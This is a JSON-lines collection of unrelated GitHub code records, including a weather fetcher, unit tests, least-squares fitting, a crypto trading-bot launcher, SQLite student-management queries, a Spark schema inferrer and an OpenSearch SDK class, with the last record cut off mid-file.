+{"seq_id":"30804212518","text":"import urllib.request\nimport json\nimport requests\n\n# api from https://www.runoob.com/python/python-json.html\n\n# json.dumps object => json\n\n# json.loads json => dict\n\n# demo1\n\nurl = 'http://www.weather.com.cn/data/cityinfo/101050101.html'\n\nresponse = requests.get(url)\n\nhtml = response.content.decode('utf-8')\n\nprint(html, 'html')\n\nprint(type(html))\n# dic = json.dumps(html)\n# print(dic, 'dic')\n\n# str = json.dumps(html, ensure_ascii=False)\n\ndef write_weather(string):\n  with open('wea.txt','w+',encoding='utf-8') as fp:\n    fp.write(string)\n\nwrite_weather(str)\n\n# fp = open('wea.txt', 'w+', encoding='utf-8')\n\n# fp.write(html)\n\n# fp.close()","repo_name":"nearxu/python-exercise","sub_path":"some-basic/json/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1473983130","text":"import unittest\nfrom app.data.event import Event\nfrom decimal import Decimal\nfrom app.logic.logic_event_table \\\n    import getEventIdListFromTwoResponse, getListKeysForBatchGet, \\\n    getEventsFromBatchGetResponse, getEventsForWeekMailFromResponse, \\\n    getEventsFromResponse\n\nres = {'Items': [\n    {\n        'eventName': 'イベント名',\n        'eventId': Decimal('14'),\n        'university': '立命館大学',\n        'location': 'BKC アクロスウィング',\n        'updateTime': Decimal('1552805737'),\n        'status': '0_true',\n        'countOfLike': Decimal('0'),\n        'end': None,\n        'urlData': 'test3.png',\n        'start': Decimal('1553675195')\n    },\n    {\n        'eventName': 'イベント名',\n        'eventId': Decimal('15'),\n        'university': '立命館大学',\n        'location': 'BKC アクロスウィング',\n        'updateTime': Decimal('1552805737'),\n        'status': '0_true',\n        'countOfLike': Decimal('2'),\n        'end': None,\n        'urlData': 'test3.png',\n        'start': Decimal('1553675195')\n    }]\n}\n\n\nclass TestLogicEventTable(unittest.TestCase):\n    def testGetEventIdListFromTwoResponse(self):\n        itemsNotPrivate = {'Items': [\n            {\n                'eventName': '2',\n                'eventId': Decimal('16'),\n                'university': '立命館大学',\n                'location': 'test',\n                'updateTime': Decimal('1553483264'),\n                'status': '0_false',\n                'countOfLike': Decimal('1'),\n                'end': None,\n                'urlData': 'test1.png',\n                'start': Decimal('1553482800')\n            },\n            {\n                'eventName': '１',\n                'eventId': Decimal('18'),\n                'university': '立命館大学',\n                'location': 'tes',\n                'updateTime': Decimal('1553505729'),\n                'status': '0_false',\n                'countOfLike': Decimal('0'),\n                'end': None,\n                'urlData': 'test2.png',\n                'start': Decimal('1553558400')\n            }],\n            'Count': 3\n        }\n\n        itemsPrivate = {'Items': [\n            {\n                'eventName': 'イベント名',\n                'eventId': Decimal('14'),\n                'university': '立命館大学',\n                'location': 'BKC アクロスウィング',\n                'updateTime': Decimal('1552805737'),\n                'status': '0_true',\n                'countOfLike': Decimal('0'),\n                'end': None,\n                'urlData': 'test3.png',\n                'start': Decimal('1553675195')\n            }],\n            'Count': 1\n        }\n\n        eventIdList = getEventIdListFromTwoResponse(\n            itemsNotPrivate, itemsPrivate)\n\n        self.assertEqual(eventIdList, [\n            Decimal('16'), Decimal('18'), Decimal('14')])\n\n    def testGetListKeysForBatchGet(self):\n        listEventId = [1, 2, 3]\n        listKeys = getListKeysForBatchGet(listEventId)\n\n        expected = [\n            {\n                \"eventId\": {\n                    \"N\": str(1)\n                }\n            },\n            {\n                \"eventId\": {\n                    \"N\": str(2)\n                }\n            },\n            {\n                \"eventId\": {\n                    \"N\": str(3)\n                }\n            }\n        ]\n\n        self.assertEqual(listKeys, expected)\n\n    def testGetListKeysForBatchGetBlank(self):\n        listEventId = []\n        listKeys = getListKeysForBatchGet(listEventId)\n\n        expected = []\n\n        self.assertEqual(listKeys, expected)\n\n    def testGetEventsFromBatchGetResponse(self):\n        response = {\n            'Responses': {\n                'dev-event': [\n                    {\n                        'eventId': {'N': '11'},\n                        'eventName': {'S': 'イベント名'},\n                        'location': {'S': 'BKC アクロスウィング'},\n                        'university': {'S': '立命館大学'},\n                        'updateTime': {'N': '1552629886'},\n                        'countOfLike': {'N': '0'},\n                        'end': {'NULL': True},\n                        'urlData': {'S': 'https://nangngnainil34982379esssgg'},\n                        'start': {'N': '1526000000'}\n                    }\n                ]\n            }\n        }\n\n        events = getEventsFromBatchGetResponse(response, 'dev-event')\n\n        event = events[0]\n        self.assertIsInstance(event, Event)\n        self.assertEqual(event.eventId, 11)\n        self.assertEqual(event.eventName, 'イベント名')\n        self.assertEqual(event.location, 'BKC アクロスウィング')\n        self.assertEqual(event.university, '立命館大学')\n        self.assertEqual(event.updateTime, 1552629886)\n        self.assertEqual(event.countOfLike, 0)\n        self.assertIsNone(event.end)\n        self.assertEqual(\n            event.urlData, 'https://nangngnainil34982379esssgg')\n        self.assertEqual(event.start, 1526000000)\n\n    def testGetEventsForWeekMailFromResponse(self):\n        events = getEventsForWeekMailFromResponse(res)\n        eventTop = events[0]\n        eventNext = events[1]\n\n        self.assertEqual(eventTop.eventId, 15)\n        self.assertEqual(eventNext.eventId, 14)\n\n    def testGetEventsFromResponse(self):\n        events = getEventsFromResponse(res)\n        eventTop = events[0]\n\n        self.assertIsInstance(eventTop, Event)\n","repo_name":"amachi0/Soda-Serverless-Framwork","sub_path":"test/logic/test_logic_event_table.py","file_name":"test_logic_event_table.py","file_ext":"py","file_size_in_byte":5429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18764211165","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.pyplot import plot, figure\r\nfrom numpy.linalg import pinv # pseudo inverse\r\n\r\n# Example of LSQ - fir line to COP\r\n\r\ndef fit_line(a, b, N):\r\n    x = np.linspace(0, 10, N)\r\n\r\n    rx = np.random.uniform(1, 2, N) # x-noise\r\n    ry = np.random.uniform(1, 5, N) # y-noise\r\n\r\n    x += rx\r\n    y = a * x + b + ry\r\n\r\n    A = np.zeros((N, 2))\r\n    B = np.zeros((N, 1))\r\n    # A.x = b -> x = pinv(A).b --> x = [(x1,1), (x2,1)...]^(-1).(y1...yn)\r\n    A[:, 0] = x\r\n    A[:, 1] = 1\r\n    B[:, 0] = y\r\n\r\n    # this is the answer! ( y=ax+b... X[0] is a, X[1] is b)\r\n    X = np.dot(pinv(A), B)\r\n    y_a = X[0] * x + X[1]\r\n\r\n    figure()\r\n    plot(x, y, '.r', x, y_a, 'b')\r\n    plt.show()\r\n\r\ndef fit_parabola(a, b, c):\r\n\r\n    x = np.linspace(-2,2,N)\r\n    y = a*x**2 + b*x + c\r\n    # Formulation of Ax=b\r\n    A = np.zeros((N,3))\r\n    b = np.zeros((N, 1))\r\n\r\n    A[:, 0] = x**2\r\n    A[:, 1] = x\r\n    A[:, 2] = 1\r\n    b[:, 0] = y\r\n\r\n    X = np.dot(pinv(A), b)\r\n\r\n    # this is the answer! (coefficients of parabola)\r\n    aa = X[0]\r\n    bb = X[1]\r\n    cc = X[2]\r\n\r\n    y_fit = aa*x**2+bb*x+cc\r\n\r\n    plt.figure()\r\n    plot(x, y, '.b', x, y_fit, 'r', linewidth=3)\r\n    plt.grid(True)\r\n    plt.show()\r\n\r\n\r\ndef func1(x):\r\n    return x**2-2*x+2\r\n\r\ndef MSE(t, f, d=9, t0=0, N=100):\r\n    x = np.linspace(t0, t, N)\r\n    rx = np.random.uniform(1, 2, size=N)\r\n    x = x + rx\r\n\r\n    y = [f(xi) for xi in x]\r\n    ry = np.random.uniform(1, 2, size=N)\r\n    y = y + ry\r\n\r\n\r\n    A = np.zeros((N,d))\r\n    b = np.zeros((N,1))\r\n    for i in range(d+1):\r\n        A[:,i] = x**(d-i)\r\n    b[:,0] = y\r\n\r\n    X = np.dot(pinv(A), b)\r\n\r\n\r\nN = 100\r\na = 1\r\nb = 2\r\n#c = 3\r\n\r\nra = np.random.uniform(1,2, size=N)\r\nrb = np.random.uniform(0, 1, size=N)\r\nrc = np.random.uniform(1,2,size=N)\r\n\r\nx = np.linspace(0,5,N)\r\n\r\nx = x + ra\r\ny = a*x+b+rb\r\n\r\n\r\n#plt.show()\r\n\r\nfit_line(x,y,N)\r\n#fit_parabola(x, y, rc)\r\n\r\n\r\n","repo_name":"omer2822/python-intro","sub_path":"LSQ.py","file_name":"LSQ.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28956534908","text":"import argparse\nimport pickle\nimport sys\nimport os\n\nsettings_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n                             'settings')\n\n\ndef run():\n    # entrypoint\n    pass\n\n\nclass BrokerSettings:\n    token = ''\n    api_key = ''\n    api_secret = ''\n    symbols = {}\n\n\ndef bot_settings(symbols=['XBTUSD'], strategy='lotus', broker='bitmex'):\n    settings_name = '{}_{}_settings.pickle'.format(broker, strategy)\n    setting_path = os.path.join(settings_path, settings_name)\n    if os.path.exists(setting_path):\n        symbol_exists = []\n        settings = pickle.load(open(setting_path, 'rb'))\n        for i, symbol in enumerate(symbols):\n            symbol_exists.append(False)\n            if symbol in settings.symbols.keys():\n                symbol_exists[i] = True\n        if all(symbol_exists):\n            return settings\n    print('Bot settings are not available. Please start the Bot in terminal first to set settings.', flush=True)\n    sys.exit()\n\n\ndef file_create_input(check_exist=True, symbols=['XBTUSD'], broker='bitmex', strategy='lotus'):\n    setting_name = '{}_{}_settings.pickle'.format(broker, strategy)\n    setting_path = os.path.join(settings_path, setting_name)\n    if check_exist and os.path.exists(setting_path):\n        settings = pickle.load(open(setting_path, 'rb'))\n        return check_settings(settings, symbols, broker, strategy)\n    else:\n        token = input(\n            'Submit your Strategytoken (found in your member area): ')\n        api_key = input('Submit your ' + broker + ' API Key (ID): ')\n        api_secret = input('Submit your ' + broker + ' API Secret: ')\n        symbol_settings = {}\n        for symbol in symbols:\n            pos_size = input(\n                'Choose your Position Size for {} per trade in % (0.25 = 10% drawdown risk, 0.5 = 20% drawdown risk, 1.0 = 40% drawdown risk): '.format(symbol))\n            pos_size = check_pos_size(pos_size)\n            symbol_settings[symbol] = {\n                'position_size': pos_size, 'last_order_stop_id': '', 'last_order_stoploss_id': '', 'last_order_SL': '', 'last_order_qty': 0}\n        return make_pickle_file(setting_name, token, api_key, api_secret, symbol_settings)\n\n\ndef make_pickle_file(filename, token, api_key, api_secret, symbol_settings):\n    settings = BrokerSettings()\n    settings.token = token\n    settings.api_key = api_key\n    settings.api_secret = api_secret\n    settings.symbols = symbol_settings\n    pickle.dump(settings, file=open(\n        os.path.join(settings_path, filename), 'wb'))\n    return settings\n\n\ndef check_pos_size(pos_size, max_position_size=10):\n    try:\n        float(pos_size)\n    except ValueError:\n        new_size = input('Position Size is not a number,'\n                         ' please type it in again: ')\n        return check_pos_size(new_size, max_position_size=max_position_size)\n    if float(pos_size) > max_position_size:\n        new_size = input('Position Size is over ' + str(max_position_size) +\n                         ' %, please type in a lower size: ')\n        return check_pos_size(new_size, max_position_size=max_position_size)\n    return pos_size\n\n\ndef check_settings(settings, symbols, broker, strategy):\n    print('--Check Settings--')\n    while True:\n        qr = input('Start Algo Trader Bot with'\n                   '\\n\\tBroker: ' + broker.replace('_', ' ').title() +\n                   '\\n\\tToken: {}...'\n                   '\\n\\tAPI ID: {}'\n                   '\\n\\tAPI Secret: ...{}'\n                   '{}'\n                   \"\\n\\t\\tDo you want to continue? ['y' for yes, 'n' for no, 'c' for\"\n                   ' change settings] '\n                   .format(settings.token[:4], settings.api_key, settings.api_secret[-4:], position_symbol_sizes(settings.symbols)))\n        if qr == '' or qr[0].lower() not in ['y', 'n', 'c']:\n            print(\"'y' for yes, 'n' for no or 'c' for \"\n                  \"change settings (you don't have to write '').\")\n        elif qr[0].lower() == 'c':\n            return file_create_input(check_exist=False, symbols=symbols, broker=broker, strategy=strategy)\n        else:\n            answer = qr[0].lower()\n            if answer == 'y':\n                return settings\n            else:\n                print('Shutting down...')\n                sys.exit()\n\n\ndef position_symbol_sizes(symbols):\n    output = ''\n    for key in symbols:\n        output += '\\n\\t{} Position Size: {} %'.format(\n            key, symbols[key]['position_size'])\n    return output\n\n\ndef app():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        'run', help='You have to say algotrader to \\'run\\' on symbol(s) and a broker to trade on.')\n    parser.add_argument(\n        'symbol', help='Define on which Symbol to trade. E.g.: BTCUSD for Bitcoin vs Dollar. Multiple Symbols f.e. btc,eth with comma seperation.'\n    )\n    parser.add_argument(\n        'broker', help='Define on which broker to run the strategy')\n    parser.add_argument('-strategy', nargs='?', default='lotus')\n    parser.add_argument('start', nargs='?', default='')\n\n    args = parser.parse_args()\n\n    if args.run in ['run', 'Run', 'RUN']:\n        testnet = True\n        broker = ''\n        if args.broker in ['bitmex_testnet', 'bitmextestnet', 'Bitmextestnet', 'Bitmex-Testnet', 'bitmex-testnet']:\n            broker = 'bitmex_testnet'\n        elif args.broker in ['bitmex', 'bitmex_live', 'Bitmex', 'Bitmex-Live', 'bitmex-live']:\n            testnet = False\n            broker = 'bitmex'\n        else:\n            print('This broker is not supported.')\n            sys.exit()\n\n        symbols = []\n        for symbol in args.symbol.split(','):\n            if symbol in ['BTCUSD', 'Bitcoin', 'bitcoin', 'XBTUSD', 'BTC', 'btc', 'btcusd']:\n                symbols.append('XBTUSD')\n            if symbol in ['ETHUSD', 'Ethereum', 'ethereum', 'ETH', 'eth', 'ethusd']:\n                symbols.append('ETHUSD')\n        if not symbols:\n            print(\"No recognizable Symbol found. Supported are 'ETHUSD' and 'BTCUSD'.\")\n            sys.exit()\n\n        if args.start == 'start':  # start without input prompt\n            start_settings = bot_settings(\n                symbols=symbols, broker=broker, strategy=args.strategy)\n        else:\n            start_settings = file_create_input(\n                symbols=symbols, broker=broker, strategy=args.strategy)\n            input('--Settings Saved--\\nPress ENTER to strat the bot now!')\n\n        setting_file_name = '{}_{}_settings.pickle'.format(\n            broker, args.strategy)\n\n        if args.strategy == 'lotus' and broker in ['bitmex_testnet', 'bitmex']:\n            from algo_trader.strategies import Lotus\n            from algo_trader.clients.bitmex import BitmexClient\n\n            client = BitmexClient(api_key=start_settings.api_key,\n                                  api_secret=start_settings.api_secret, testnet=testnet)\n            lotus = Lotus(client, symbols, start_settings,\n                          setting_file_name=setting_file_name)\n            lotus.run()\n\n        \"\"\"\n        Any custom made strategy has to be run with the -strategy <strategy name> argument.\n        You have to create a new strategy class in /strategies folder to run it.\n        \"\"\"\n    else:\n        print(\"Sorry, your entries were not matched with a valid symbol and broker. You need to input e.g. 'algotrader run btcusd bitmex_testnet' to run the Algo Trader Bot.\")\n","repo_name":"dignitas123/algo_trader","sub_path":"algo_trader/startbot.py","file_name":"startbot.py","file_ext":"py","file_size_in_byte":7405,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"39199710677","text":"def find_lhs(key, a):\n    if key in set(a):\n        return True\n    return False\n\n\ndef find_rhs(key, a):\n    if key in set(a):\n        return True\n    return False\n\n\ndef solution(comp, a):\n    count = 0\n    for idx, val in enumerate(a):\n        lhs = a[:idx]\n        rhs = a[idx+1:]\n        if find_lhs(comp - val, a[:idx]):\n            # print(idx, lhs.index(comp-val))\n            count +=1\n\n        if find_rhs(comp - val, a[idx+1:]):\n            # print(idx, rhs.index(comp - val) + idx+1)\n            count += 1\n    print(count)\na = [1, 8, -3, 0, 1, 3, -2, 4, 5]\n\nsolution(6, a)","repo_name":"santoshr1016/WeekendMasala","sub_path":"itsybitsy/TH/compliment_ver_1.py","file_name":"compliment_ver_1.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21613921671","text":"import sqlite3 as sql\n\nconnection=sql.connect(\"student.sqlite\")\n\ncur=connection.cursor()\n\ndef empLiv(Nlivre):\n        #recuperer les etudiants qui ont prent le livre du numero Nlivre\n        cur.execute('select nomE,dateRetour,Nlivre from Etudiant E, Pret  p where E.num_etu=P.num_etu and Nlivre=?',(Nlivre,))\n        prets=cur.fetchall()\n        #calculer la taille de la liste prets\n        n=len(prets)\n        #affichage des etudiant\n        for k in range(n):\n                print (prets[k])\n\ndef insBU(nomE):\n        #recuperer la date d'inscription du l'etudiant nomE stocke dans la base de donnes\n\tcur.execute('select nomE ,dateInscripBU from Etudiant where nomE=?',(nomE,))\n\t#recuper le tuple (nomE,date)\n\tnoms=cur.fetchone()\n\t#verifier est ce que le tuple est vide au cas au le nomE n'existe pas dans la base de donnees\n\tif noms == None:\n\t\tprint(\"L'etudiant n'est pas inscrit dans la bibl\")\n\t#si il existe afficher la date d'inscription\n\telse:\n\t\tif nomE == noms[0]:\n\t\t\tprint (\"La date d'inscription est :\")\n\t\t\tprint(noms[1])\ndef insCour(num_cours):\n    #recuperer tous les etudiants inscrit dans le cours num_cours\n    cur.execute(\"select nomE,prenomE from Etudiant E,Inscrit I where E.num_etu=I.NumEtudiant and I.num_cours=? \",(num_cours,))\n    #vider le cursor et mettre tous les donnees dans num\n    num=cur.fetchall()\n    #afficher tous les donnees de num\n    for k in num:\n\t    print(k)\n\ndef insr():\n    #recuperer tous les noms des étudiants inscrits dans tous les modules\n    cur.execute(\"select nomE,prenomE,count(nomC) 'nombre de cours' from Etudiant E, Inscrit I, Cours C where E.num_etu=I.NumEtudiant and I.num_cours= C.num_cours group by nomE having count(nomC)= (select count(nomC) from Cours)\")\n    #mettre les resultats dans une liste par la fct fetchall()\n    ins=cur.fetchall()\n    #parcourir la liste puis afficher les noms\n    for k in ins:\n            print(k)\ndef noEmp():\n        #recuperer tous les noms des livres empruntés par personne\n        cur.execute(\"SELECT titre, nomE From Etudiant E, Pret P, Livre L WHERE E.num_etu=P.num_etu AND P.Nlivre=L.Nlivre\")\n        #mettre les resultats dans une liste par fetchall()\n        per=cur.fetchall()\n        #affichage \n        for k in per:\n                print(k)\n\n\ndef ResuEtu(num_etu):\n    #recuperer tous les informations de l'etudiant qui a le numero num_etu\n    cur.execute(\"select nomE, prenomE, note ,nomC, AVG(note),Max(note),MIN(note) from Etudiant E, Cours  C, Resultat R where E.num_etu=R.num_etu and R.num_cours=C.num_cours  and E.num_etu=? group by nomC\",(num_etu,))\n    #mettre tous les donnees dans la liste etu\n    etu=list(cur)\n    #initaliser la moyenne par 0\n    moyenne=0;\n    #calculer la taille de la liste etu\n    n=len(etu)\n    #afficher tous les donnees de etu\n    for k in range(n):\n            #la somme de notes des modules\n            moyenne = moyenne + etu[k][2]\n            #affichage des info de l'etudiant \n            print(etu[k])\n    print(\"La moyenne generale est :\")\n    #calclue et affichage de la note \n    print(moyenne/n)\n\ndef resultEchec():\n    #recuperer tous les informations de les etudiant qui n'a pas reussient\n    cur.execute(\"select nomE,prenomE,note,AVG(note) from Etudiant E, Cours  C, Resultat R where E.num_etu=R.num_etu and R.num_cours=C.num_cours and note <10 group by nomC \")\n    ech=cur.fetchall()\n    #calculer la taille de la liste ech\n    n=len(ech)\n    #affichage des etudiant \n    for k in range (n):\n        print(ech[k])\n\ndef ResultTot():\n        #recuperer le nom de la classe et la moyenne des notes obtenues par cours\n        cur.execute(\"select nomclass,nomC, AVG(note) from Class C, Cours Cs, Resultat R ,Etudiant E where C.numClass=E.numClasse and E.num_etu=R.num_etu and R.num_cours=Cs.num_cours Group by nomC\")\n        #mettre les resultats dans une liste \n        res=list(cur)\n        #calculer la taille de la liste\n        n=len(res)\n        #affichage \n        for k in range(n):\n            print (res[k])\n\ndef retard():\n        #recuperer tous les etudiants n’ayant pas encore rendus au moins un livre\n        cur.execute(\"select nomE,dateRetour,DateRetourPrevue,Nlivre from Etudiant E, Pret p  where E.num_etu=P.num_etu  and dateRetour IS NULL\")\n        #mettre les resultats dans une liste \n        ret=cur.fetchall()\n        #calculer la taille de la liste ret \n        n=len(ret)\n        #affichage des etudiants\n        for k in range(n):\n                print (ret[k])\n#recuperer les noms des profs pr module \ncur.execute(\"select nomP,prénomP,nomC from Enseignant E,Charge C, Cours Cs where E.num_ens=C.num_ens AND C.num_cours=Cs.num_cours\")\n#parcourir le cursor puis affichage\nfor k in cur:\n        print(k)\n\ndef changer_le_nom(num_cours):\n        #donner a l'utilisateur le droit d'ecrire le nom de cours\n        nomCours = input(\"Entrer le nom :\")\n        #affichage des noms des cours avant le changement \n        print(\"=========Avant==========\")\n        cur.execute(\"select nomC from Cours\")\n        for k in cur:\n                print(k)\n        #changement du nom de cours \n        cur.execute(\"UPDATE Cours SET nomC =? WHERE num_cours=?\",(nomCours,num_cours))\n        #affichage des noms des cours apres le changement \n        print(\"=========Apres==========\")\n        cur.execute(\"select nomC from Cours\")\n        for k in cur:\n                print(k)\n\ndef supprimer_le_cours(num_cours):\n        #affichage des noms des cours avant la suppression \n        print(\"=========Avant==========\")\n        cur.execute(\"select nomC from Cours\")\n        for k in cur:\n                print(k)\n        #supprission du cours souhaite\n        cur.execute(\"DELETE FROM Cours WHERE num_cours=?\",(num_cours,))\n        #affichage des noms des cours apres la suppression \n        print(\"=========Apres==========\")\n        cur.execute(\"select nomC from Cours\")\n        for k in cur:\n                print(k)\n\n                \nconnection.commit()\n\n\n","repo_name":"OUASSIMEL/Student-management","sub_path":"fonctions/fonctions.py","file_name":"fonctions.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28548343724","text":"# -*- coding: utf-8 -*-\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom qgis.core import *\nfrom ui_rotateobject import Ui_RotateObject\nimport os, sys\n\nclass RotateObjectGui(QDialog, Ui_RotateObject):\n  \n    def __init__(self, parent, flags):\n        QDialog.__init__(self, parent, flags)\n        self.setupUi(self)\n        \n        self.okButton = self.buttonBox.button(QDialogButtonBox.Ok)\n        self.connect(self.okButton, SIGNAL(\"accepted()\"), self.accept)\n        \n        self.cancelButton = self.buttonBox.button(QDialogButtonBox.Cancel)\n        self.connect(self.cancelButton, SIGNAL(\"clicked()\"), self.close)        \n        \n\n    def initGui(self):\n        self.rotationSpinBox.setMaximum(360)\n        self.rotationSpinBox.setMinimum(-360)\n        self.rotationSpinBox.setDecimals(10)\n        pass\n\n        \n    def accept(self):\n        self.emit( SIGNAL(\"okClicked(double)\"),  self.rotationSpinBox.value())\n        \n    \n    def close(self):\n        self.emit(SIGNAL(\"unsetTool()\")) \n","repo_name":"lucaarcteam/qgis-archeos-plugin","sub_path":"debian/usr/share/archeos/qgis_archeos_plugin-0.1/python/plugins/cadtools/tools/rotateobjectgui.py","file_name":"rotateobjectgui.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"9694919202","text":"import importlib\nimport tempfile\nfrom typing import Dict, List\n\nfrom pyspark.sql import SparkSession, functions as sf, DataFrame, Column\nfrom pyspark.sql.types import StructField, StructType, DecimalType, LongType, TimestampType, StringType, NullType\n\nSTRING_TYPE = StringType.__name__\n\nLONG_TYPE = LongType.__name__\n\nDECIMAL_TYPE = DecimalType.__name__\n\nTIMESTAMP_TYPE = TimestampType.__name__\n\nNULLTYPE = NullType.__name__\n\nWHOLE_NR = r'[-+]?\\d*'\n\nDECIMAL = r'-?\\d+(\\.\\d+)?'\n\nTIMESTAMP = r'\\d{4}-\\d{2}-\\d{2}(T\\d{2}:\\d{2}:\\d{2}\\.\\d{3}\\+\\d{4})?'\n\n\nclass SparkSchema:\n    def __init__(self, sample_size: int = 10 * 1000):\n        self.sample_size = sample_size\n\n    def get_schema(self, df):\n        df = self._write_to_parquet(df)\n        col_types = self.determine_column_types(df)\n        schema = self._rows_to_schema(df.columns, col_types)\n        return schema\n\n    def _rows_to_schema(self, columns: List[str], col_types: DataFrame):\n        types = {r['col_name']: r for r in col_types.collect()}\n        # use the original column order in the output fields so it works with CSV\n        fields = [StructField(c, self._create_type(types.get(c))) for c in columns]\n        schema = StructType(fields)\n        return schema\n\n    def _write_to_parquet(self, df: DataFrame) -> DataFrame:\n        tmp = tempfile.mkdtemp()\n        df.limit(self.sample_size).write.mode('overwrite').parquet(tmp)\n        df = SparkSession.getActiveSession().read.parquet(tmp)\n        return df\n\n    def determine_column_types(self, df):\n        df = self._determine_type_per_row(df)\n        df = self._drop_values(df)\n        df = self._count_types_per_column(df)\n        df = self._select_most_occuring_type(df)\n        return df\n\n    def _select_most_occuring_type(self, df):\n        df = df.groupBy('col_name').agg(sf.max_by('type', 'count').alias('type'),\n                                        *self._first_decimals(df))\n        return df\n\n    def _count_types_per_column(self, df):\n        stacking = self._stack(df)\n        df = df.select(stacking, *self._get_dec_cols(df))\n        df = df.filter(df['type'] != NULLTYPE)\n        df = df.groupBy('col_name', 'type').agg(\n            sf.count('*').alias('count'),\n            *self._decimal_maxes(df)\n        )\n        return df\n\n    def _stack(self, df):\n        stacking = [f'\"{c.replace(\"_type\", \"\")}\", {c}' for c in df.columns if not self._is_dec_col(c)]\n        stacking = f'stack({len(stacking)}, {\", \".join(stacking)}) as (col_name, type)'\n        stacking = sf.expr(stacking)\n        return stacking\n\n    def _drop_values(self, df):\n        df = df.select(*[c for c in df.columns if c.endswith('_type') or self._is_dec_col(c)])\n        return df\n\n    @staticmethod\n    def _determine_type_per_row(df):\n        # for each row determine the type of each column value\n        for c in df.columns:\n            type_col = f'{c}_type'\n            df = df.withColumn(type_col,\n                               sf.when(df[c].isNull(), NULLTYPE).otherwise(\n                                   sf.when(df[c].rlike(TIMESTAMP), TIMESTAMP_TYPE).otherwise(\n                                       sf.when(df[c].rlike(DECIMAL), DECIMAL_TYPE).otherwise(\n                                           STRING_TYPE))))\n            df = df.withColumn(f\"{c}_whole_part\",\n                               sf.when(df[type_col] == DECIMAL_TYPE,\n                                       sf.length(sf.regexp_extract(df[c], r'(^-?\\d+)', 1))))\n            df = df.withColumn(f\"{c}_decimal_part\",\n                               sf.when(df[type_col] == DECIMAL_TYPE, sf.length(sf.split(df[c], r'\\.').getItem(1))))\n        return df\n\n    @staticmethod\n    def _create_type(r: Dict[str, any]):\n        if not r:\n            # no type could be found\n            return StringType()\n        else:\n            col_type = r['type']\n            module = importlib.import_module('pyspark.sql.types')\n            my_class = getattr(module, col_type)\n            col_name = r['col_name']\n            if col_type == DecimalType.__name__:\n                whole_part = r[f'{col_name}_whole_part']\n                decimal_part = r[f'{col_name}_decimal_part']\n                decimal_part = decimal_part if decimal_part else 0\n                total = whole_part + decimal_part\n                return my_class(total, decimal_part)\n            else:\n                return my_class()\n\n    @staticmethod\n    def _is_dec_col(c) -> bool:\n        return c.endswith('_whole_part') or c.endswith('_decimal_part')\n\n    def _get_dec_cols(self, df) -> List[str]:\n        return [c for c in df.columns if self._is_dec_col(c)]\n\n    def _decimal_maxes(self, df: DataFrame) -> List[Column]:\n        return [sf.max(c).alias(c) for c in self._get_dec_cols(df)]\n\n    def _first_decimals(self, df) -> List[Column]:\n        return [sf.first(c).alias(c) for c in self._get_dec_cols(df)]\n","repo_name":"machielg/sparkschema","sub_path":"sparkschema/spark_schema.py","file_name":"spark_schema.py","file_ext":"py","file_size_in_byte":4856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26419281181","text":"from typing import Optional\n\nfrom opensearch_sdk_py.transport.outbound_message import OutboundMessage\nfrom opensearch_sdk_py.transport.thread_context_struct import ThreadContextStruct\nfrom opensearch_sdk_py.transport.transport_message import TransportMessage\nfrom opensearch_sdk_py.transport.transport_status import TransportStatus\nfrom opensearch_sdk_py.transport.version import Version\n\n\nclass OutboundMessageResponse(OutboundMessage):\n    def __init__(\n        self,\n        thread_context: ThreadContextStruct = None,\n        features: list[str] = [],\n        message: TransportMessage = None,\n        version: Version = None,\n        request_id: Optional[int] = None,\n        is_handshake: bool = False,\n        is_compress: bool = False,\n    ):\n        self.features = features\n        super().__init__(thread_context=thread_context, version=version, status=TransportStatus.STATUS_REQRES, request_id=request_id, message=message)\n        if is_handshake:\n            self.tcp_header.is_handshake = True\n        if is_compress:\n            self.tcp_header.is_compress = True\n\n    def __str__(self) -> str:\n        return f\"{super().__str__()}, features={self.features}\"\n","repo_name":"opensearch-project/opensearch-sdk-py","sub_path":"src/opensearch_sdk_py/transport/outbound_message_response.py","file_name":"outbound_message_response.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"74876946295","text":"\"\"\"\nAuthor : Himanshu Raj\nE-mail : himanshuraj9194@gmail.com\n\n\"\"\"\n#-------------------------------------------------------------------------------------\nfrom time import *\nfrom collections import defaultdict\nfrom heapq import *\nimport urllib.request\nimport json\nfrom pandas import *\n# /////////////////////\nimport cv2\nimport numpy as np\nfrom pyzbar.pyzbar import decode\nimport serial\nimport threading\nfrom tqdm import tqdm\nimport sys\nfrom termcolor import colored, cprint\n#-------------------------------------------------------------------------------------\ndef listToString(s):\n    # initialize an empty string\n    str1 = \"\"\n\n    # traverse in the string\n    for ele in s:\n        str1 += ele\n\n        # return string\n    return str1\ndef reverse(s):\n  str = \"\"\n  for i in s:\n    str = i + str\n  return str\n\n# Shortest Path Algorithm\n\n# Nodes Data ( Weighted Node Graph)\n# edges = [\n# #       {{Node_1 } ,{Node_2},{Distance between Them}}\n#         (\"S\", \"1\", 10),\n#         (\"1\", \"2\", 10),\n#         (\"1\", \"7\", 20),\n#         (\"2\", \"5\", 5),\n#         (\"2\", \"3\", 5),\n#         (\"3\", \"4\", 12),\n#         (\"4\", \"E\", 5),\n#         (\"5\", \"6\", 12),\n#         